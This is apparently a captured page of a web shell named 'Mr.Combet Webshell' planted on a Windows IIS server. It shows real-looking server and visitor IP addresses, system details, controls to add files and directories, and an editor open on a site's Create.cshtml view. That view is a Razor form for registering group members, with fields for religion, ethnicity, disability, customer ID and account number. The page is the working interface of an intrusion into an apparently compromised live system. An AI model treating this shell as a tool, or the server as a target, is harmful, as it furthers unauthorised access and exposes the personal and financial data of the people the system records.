Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
GroupMembers
/
Edit File Name :
Create.cshtml
@using RER_Project.BusinessLayer.BusinessService @model RER_Project.DataAccess.ViewModels.GroupMembers.GroupMembersViewModel @{ var meta = AppUserService.GetCurrent(); ViewBag.Title = "Group Member Create"; } <style> .btn { border-radius: 0px; } </style> <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-8"> <ol class="breadcrumb"> <li class="active"> <strong>Group Members of @Model.Groups.GroupName</strong> </li> </ol> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <form id="CreateForm"> <div id="eror_msg"></div> <div class="row"> <input type="hidden" id="GroupId" value="@Model.GroupId" /> <div class="form-group col-md-2"> <label><strong>Province</strong></label> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates" data-api-selected-value="@Model.Groups.ProvinceId" disabled></select> <input type="hidden" id="ProvinceId" name="ProvinceId" value="@Model.Groups.ProvinceId" /> </div> <div class="form-group col-md-2"> <label><strong>District</strong></label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" data-api-selected-value="@Model.Groups.DistrictId" disabled="disabled"></select> <input type="hidden" id="DistrictId" name="DistrictId" value="@Model.Groups.DistrictId" /> </div> <div class="form-group col-md-2"> <label><strong>Municipality </strong></label> <select type="text" class="form-control required" id="MunicipalityId" name="MunicipalityId" data-api="/municipality/select" data-api-selected-value="@Model.Groups.MunicipalityId" disabled="disabled"></select> <input type="hidden" id="MunicipalityId" name="MunicipalityId" value="@Model.Groups.MunicipalityId" /> </div> <div class="form-group col-md-2"> <label><strong>Ward No</strong></label> <input type="text" class="required form-control" pattern="\d*" oninput="validity.valid||(value='');" id="WardNo" name="WardNo" /> </div> <div class="form-group col-md-2"> <label><strong>First Name</strong></label> <input type="text" class="required form-control" id="FirstName" name="FirstName" minlength="2" /> </div> <div class="form-group col-md-2"> <label><strong>Last Name</strong></label> <input type="text" class="required form-control" id="LastName" name="LastName" onkeypress="return (event.charCode > 64 && event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" minlength="2"/> </div> </div> <div class="row"> <div class="form-group col-md-2"> <label><strong>Gender</strong></label> <select type="text" class="form-control required" name="Gender" id="Gender" data-api="/genders/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Age</strong></label> <input type="text" pattern="\d*" oninput="validity.valid||(value='');" class="required form-control" id="Age" name="Age" /> </div> <div class="form-group col-md-2"> <label><strong>Origin</strong></label> <select type="text" class="form-control required" name="Origin" id="Origin" data-api="/origin/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Religion</strong></label> <select type="text" class="form-control required" name="ReligionId" id="ReligionId" data-api="/religion/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Ethnicity</strong></label> <select type="text" class="form-control required" name="EthnicityId" id="EthnicityId" data-api="/ethnicity/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Migration Status</strong></label> <select type="text" class="form-control required" name="MigrationId" id="MigrationId" data-api="/migration-status/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-2"> <label><strong>Positions</strong></label> <select type="text" class="form-control required" name="PositionId" id="PositionId" data-api="/positions/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Contact No</strong></label> <input type="text" class="form-control" pattern="\d*" step="1" maxlength="10" oninput="validity.valid||(value='');" id="ContactNo" name="ContactNo" /> </div> @*<div class="form-group col-md-2"> <label><strong>Group No</strong></label> <input type="text" class="required form-control" id="GroupNo" name="GroupNo" value="@Model.Groups.GroupNo" disabled /> <input type="hidden" id="GroupNo" name="GroupNo" value="@Model.Groups.GroupNo" /> </div>*@ <div class="form-group col-md-2"> <label><strong>Commodity</strong></label> <select type="text" class="form-control required" name="Commodity" id="Commodity" data-api="/commodity/select" data-api-selected-value="@Model.Groups.CommodityId" disabled></select> <input type="hidden" id="Commodity" name="Commodity" value="@Model.Groups.CommodityId" /> </div> <div class="form-group col-md-2"> <label><strong>Differently abled</strong></label> <select type="text" class="form-control required" name="Abled" id="Abled"> <option>Select All</option> <option value="Yes">Yes</option> <option value="No">No</option> </select> </div> <div class="form-group col-md-2"> <label><strong>Customer Id</strong></label> <input type="text" class="form-control" name="CustomerId" id="CustomerId" /> @*<input type="hidden" id="Commodity" name="Commodity" value="@Model.Groups.CommodityId" />*@ </div> <div class="form-group col-md-2"> <label><strong>Account No</strong></label> <input type="text" class="form-control" name="AccountNo" id="AccountNo" /> @*<input type="hidden" id="Commodity" name="Commodity" value="@Model.Groups.CommodityId" />*@ </div> </div> <div class="row"> <div class="form-group col-md-2"> <label><strong>Branch</strong></label> <select type="text" class="form-control" name="Branch" id="Branch" data-api="/Branch/selects?id=@Model.Groups.DistrictId"></select> @*<input type="hidden" id="Branch" name="Branch" value="@Model.Groups.CommodityId" />*@ </div> <div class="form-group col-md-2"> <label><strong>Product</strong></label> @Html.ListBox("Product", null, new { @multiple = "multiple", @style = "display:none", @class = "form-control required clear", @onchange = "getProduct()" }) @*<select type="text" class="form-control required" name="Product" id="Product" data-api="/Product/select" onchange="getCommodities()"></select>*@ <input type="hidden" id="Commodity" name="Commodity" value="@Model.Groups.CommodityId" /> </div> @*<div class="form-group col-md-2"> <label><strong>Married Year</strong></label> <input type="number" min="1900" class="required form-control" id="MarriedYear" placeholder="yyyy" name="MarriedYear" max="9999" /> </div> <div class="form-group col-md-2"> <label><string>Landlord Name</string></label> <input type="text" class="required form-control" id="LandlordName" name="LandlordName" /> </div>*@ </div> <div class="row"> @*<div class="form-group col-md-2"> <label><strong>House No</strong></label> <input type="text" class="required form-control" id="HouseNo" name="HouseNo" /> </div>*@ @*<div class="form-group col-md-2"> <label><strong>Family Migrant</strong></label> <select type="text" class="form-control " name="FamilyMigrant" id="FamilyMigrant" data-api="/relation-with-household-head/select"></select> </div> <div class="form-group col-md-3"> <label><strong>Family Migrant Returnee</strong></label> <select type="text" class="form-control " name="FamilyMigrantReturnee" id="FamilyMigrantReturnee" data-api="/relation-with-household-head/select"></select> </div>*@ @*<div class="form-group col-md-2 gals-div" style="padding-top:30px;"> <label> <input type="checkbox" class="i-checks" id="isGALS" name="isGALS"> Is GALS </label> </div>*@ <div class="form-group col-md-2"> <label class="align-label-btm"> </label> <a class="btn btn-primary btn-xl" id="btnAdd" onclick="addMember()" title="Add"> <i class="fa fa-plus"></i> </a> </div> </div> </form> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblMember" id="tblMember"> <thead> <tr> <th>Province</th> <th>District</th> <th>Municpality</th> <th>Ward No</th> <th>First Name</th> <th>Last Name</th> <th>Gender</th> <th>Age</th> <th>Origin</th> <th>Religion</th> <th>Ethnicity</th> <th>Migration</th> <th>Positions</th> <th>Contact No</th> <th>Commodity</th> <th>Differently abled</th> <th>Customer Id</th> <th>Account No</th> <th>Branch</th> <th>Product</th> @*<th>Married Year</th> <th>Landlord Name</th>*@ @*<th>House No</th>*@ @*<th>FamilyMigrant</th> <th>FamilyMigrant Returnee</th>*@ @* <th>Is GALS</th>*@ <th>Action</th> </tr> </thead> <tbody id="tblMemberBody"> @*@foreach (var item in Model.MemberDetailViews) { <tr> <td><input type="hidden" id="ProvinceId" name="ProvinceId" value="@item.ProvinceId" />@item.Province</td> <td><input type="hidden" id="DistrictId" name="DistrictId" value="@item.DistrictId" />@item.District</td> <td><input type="hidden" id="MunicipalityId" name="MunicipalityId" value="@item.MunicipalityId" />@item.Municipality</td> <td>@item.WardNo</td> <td>@item.FirstName</td> <td>@item.LastName</td> <td>@item.Gender</td> <td>@item.Age</td> <td>@item.Origin</td> <td><input type="hidden" id="ReligionId" name="ReligionId" value="@item.ReligionId" />@item.ReligionName</td> <td><input type="hidden" id="EthnicityId" name="EthnicityId" value="@item.EthnicityId" />@item.Ethinicity</td> <td><input type="hidden" id="MigrationId" name="MigrationId" value="@item.MigrationId" />@item.Migration</td> <td><input type="hidden" id="PositionId" name="PositionId" value="@item.PositionId" />@item.Positions</td> <td>@item.ContactNo</td> <td>@item.GroupNo</td> <td><input type="hidden" id="Commodity" name="Commodity" value="@item.Commodity" />@item.CommodityName</td> <td>@item.MarriedYear</td> <td>@item.LandlordName</td> <td>@item.HouseNo</td> <td><input type="hidden" id="FamilyMigrant" name="FamilyMigrant" value="@item.FamilyMigrant" />@item.FamilyMigrantType</td> <td><input type="hidden" id="FamilyMigrantReturnee" name="FamilyMigrantReturnee" value="@item.FamilyMigrantReturnee" />@item.FamilyMigrantReturneeType</td> <td class="columnToHide"> <input type="hidden" id="Id" name="Id" value="@item.Id" /> </td> <td> <a class="btn btn-default btn-xs" href="@("/group-members/edit?groupId="+Model.GroupId+"&memberId="+item.Id)" title="Edit"><i class="fa fa-edit"></i></a> </td> </tr> }*@ </tbody> </table> <div class="pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitButton" /> <a href="@("/group-members?groupId="+Model.GroupId)" class="btn btn-default">Back</a> </div> </div> </div> </div> </div> </div> <div class="modal inmodal" id="approve" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Are you sure you want to approve this group ?</strong> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <p> <div class="row"> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Remarks :</strong> </label> <textarea rows="4" style="width:100%;resize:none" name="Remarks" id="Remarks"></textarea> </div> </div> </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal">Close</button> </div> </div> </div> </div> </div> <script src="~/Scripts/app/bootstrap-multiselect.js"></script> <script type="text/javascript"> $(document).ready(function () { window.initializeSelectApis(); $('.columnToHide').hide(); $('.gals-div').hide(); //window.initializeCascadeLocation(); $('#Product').multiselect({ includeSelectAllOption: true, buttonWidth: "100%", search: true, enableFiltering: true, enableCaseInsensitiveFiltering: true, maxHeight: 300, buttonWidth: '100%', width: 420 }); $('.multiselect').css('max-width', '840px'); $('.multiselect').css('overflow', 'hidden'); }); function getProduct() { debugger; var a = Array.from(document.getElementById("Product").options).filter(option => option.selected).map(option => option.value); console.log("a", a) return a; } function addMember() { var count = getMemberList().length; @*alert(' @(Model.Groups.BeneficiariesNo - Model.GroupMembers.Count) '); alert(count)*@ if (count < @(Model.Groups.BeneficiariesNo - Model.GroupMembers.Count)) { var table = $("#tblMember tbody"); const province = $("#ProvinceId option:selected"); const district = $("#DistrictId option:selected"); const municipality = $("#MunicipalityId option:selected"); const gender = $("#Gender option:selected"); const origin = $("#Origin option:selected"); const religion = $("#ReligionId option:selected"); const ethnicity = $("#EthnicityId option:selected"); const migration = $("#MigrationId option:selected"); const position = $("#PositionId option:selected"); debugger; const commodity = $("#Commodity option:selected"); const differently_abled = $("#Abled option:selected"); const branch = $("#Branch option:selected"); const productName = $("#Product option:selected"); const product = getProduct().toString(); //const familyMigrant = $("#FamilyMigrant option:selected"); //const familyMigrantReturnee= $("#FamilyMigrantReturnee option:selected"); //var isGALS = document.getElementById("isGALS").checked; const form = $("#CreateForm"); debugger; $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; } const el = $("#tblMember tbody"); debugger; const model = window.serializeForm(form); var row = "<tr>"; row += "<td>" + province.text() + "<input type=hidden name='ProvinceId' value=" + province.val() + "></td>"; row += "<td>" + district.text() + "<input type=hidden name='DistrictId' value=" + district.val() + "></td>"; row += "<td>" + municipality.text() + "<input type=hidden name='MunicipalityId' value=" + municipality.val() + "></td>"; row += "<td>" + model.WardNo + "</td>"; row += "<td>" + model.FirstName + "</td>"; row += "<td>" + model.LastName + "</td>"; row += "<td>" + gender.text() + "<input type=hidden name='GenderId' value=" + gender.val() + "></td>"; row += "<td>" + model.Age + "</td>"; row += "<td>" + origin.text() + "</td>"; row += "<td>" + religion.text() + "<input type=hidden name='ReligionId' value=" + religion.val() + "></td>"; row += "<td>" + ethnicity.text() + "<input type=hidden name='EthnicityId' value=" + ethnicity.val() + "></td>"; row += "<td>" + migration.text() + "<input type=hidden name='MigrationId' value=" + migration.val() + "></td>"; row += "<td>" + position.text() + "<input type=hidden name='PositionId' value=" + position.val() + "></td>"; row += "<td>" + model.ContactNo + "</td>"; row += "<td>" + commodity.text() + "<input type=hidden name='Commodity' value=" + commodity.val() + "></td>"; row += "<td>" + differently_abled.text() + "<input type=hidden name='Abled' value=" + differently_abled.val() + "></td>"; row += "<td>" + model.CustomerId + "</td>"; row += "<td>" + model.AccountNo + "</td>"; row += "<td>" + branch.text() + "<input type=hidden name='branch' value=" + branch.val() + "></td>"; row += "<td>" + productName.text() + "<input type=hidden name='Commodity' value=" + product + "></td>"; //row += "<td>" + model.HouseNo + "</td>"; //row += "<td>" + familyMigrant.text() + //"<input type=hidden name='FamilyMigrant' value=" + familyMigrant.val() + // "></td>"; //row += "<td>" + familyMigrantReturnee.text() + //"<input type=hidden name='FamilyMigrantReturnee' value=" + familyMigrantReturnee.val() + // "></td>"; //row += "<td>" + isGALS + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); clearAll(); } else { ShowMessage("error", "Sorry You Can't Add Members More Than Defined Beneficieries"); } }; function deleteRow(e) { $(e).closest("tr").remove(); }; function clearAll() { //$("#CreateForm").clearForm(); $("#WardNo").val(''); $('#FirstName').val(''); $('#LastName').val(''); $('#Age').val(''); $('#ContactNo').val(''); $('#Gender').val(''); $('#Origin').val(''); $('#EthnicityId').val(''); $('#MigrationId').val(''); $('#PositionId').val(''); $('#ReligionId').val(''); $('#MarriedYear').val(''); $('#LandlordName').val(''); $('#FamilyMigrant').val(''); $('#FamilyMigrantReturnee').val(''); @*$("#Abled option:selected"); $("#Branch option:selected"); $("#Product option:selected");*@ $("#Abled").val(''); $("#Branch").val(''); $("#CustomerId").val(''); $("#AccountNo").val(''); // document.getElementById("isGALS").checked = false; }; //function showGALS(select) { // if (select.value == 'Male') { // $('.gals-div').hide(); // document.getElementById("isGALS").checked = false; // } // else { // $('.gals-div').show(); // } //} $("#SubmitButton").off("click").on("click", function () { function request(model) { const url = "/group-members/create"; debugger; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } if (!window.confirmAction()) { return; }; WorkForce.loader.show(); const groupId = $("#GroupId").val(); function getModel() { return ({ GroupMembers: getMemberList(), GroupId: groupId }); }; const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/group-members?groupId=" + groupId; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }); function getMemberList() { var memberList = []; debugger; $("#tblMember tbody tr").each(function () { const provinceId = $(this).find("td:eq(0)").find("input[type='hidden']").val(); const districtId = $(this).find("td:eq(1)").find("input[type='hidden']").val(); const municpalityId = $(this).find("td:eq(2)").find("input[type='hidden']").val(); const ward = $(this).find("td:eq(3)").html(); const firstname = $(this).find("td:eq(4)").html(); const lastname = $(this).find("td:eq(5)").html(); const gender = $(this).find("td:eq(6)").find("input[type='hidden']").val(); const age = $(this).find("td:eq(7)").html(); const origin = $(this).find("td:eq(8)").html(); const religion = $(this).find("td:eq(9)").find("input[type='hidden']").val(); const ethnicity = $(this).find("td:eq(10)").find("input[type='hidden']").val(); const migration = $(this).find("td:eq(11)").find("input[type='hidden']").val(); const position = $(this).find("td:eq(12)").find("input[type='hidden']").val(); const contactNo = $(this).find("td:eq(13)").html(); const commodity = $(this).find("td:eq(14)").find("input[type='hidden']").val(); debugger; const differently_abled = $(this).find("td:eq(15)").find("input[type='hidden']").val(); const customerId = $(this).find("td:eq(16)").html();; const accountNo = $(this).find("td:eq(17)").html();; const branch = $(this).find("td:eq(18)").find("input[type='hidden']").val(); const product = $(this).find("td:eq(19)").find("input[type='hidden']").val(); let productArray = product.split(","); //const marriedyear = $(this).find("td:eq(16)").html(); //const landlordname = $(this).find("td:eq(17)").html(); //const houseno = $(this).find("td:eq(15)").html(); @*const familymigrant = $(this).find("td:eq(16)").find("input[type='hidden']").val(); const familymigrantreturnee = $(this).find("td:eq(17)").find("input[type='hidden']").val(); const isGALS = $(this).find("td:eq(18)").html();*@//.find("input[type='checkbox']").val(); const id = $(this).find("td:eq(20)").find("input[type='hidden']").val(); debugger; memberList.push({ ProvinceId: provinceId, DistrictId: districtId, MunicipalityId: municpalityId, WardNo: ward, FirstName: firstname, LastName: lastname, Gender: gender, Age: age, Origin: origin, ReligionId:religion, EthnicityId: ethnicity, MigrationId: migration, PositionId: position, ContactNo: contactNo, //GroupNo: groupno, Commodity: commodity, DifferentlyAbled: differently_abled, CustomerId: customerId, AccountNo: accountNo, Branch: branch, Product: productArray, //MarriedYear: marriedyear, //LandlordName: landlordname, //HouseNo: houseno, @*FamilyMigrant: familymigrant, FamilyMigrantReturnee:familymigrantreturnee, isGALS: isGALS,*@ Id: id, IsActive:true }); }) return memberList; }; </script>
Save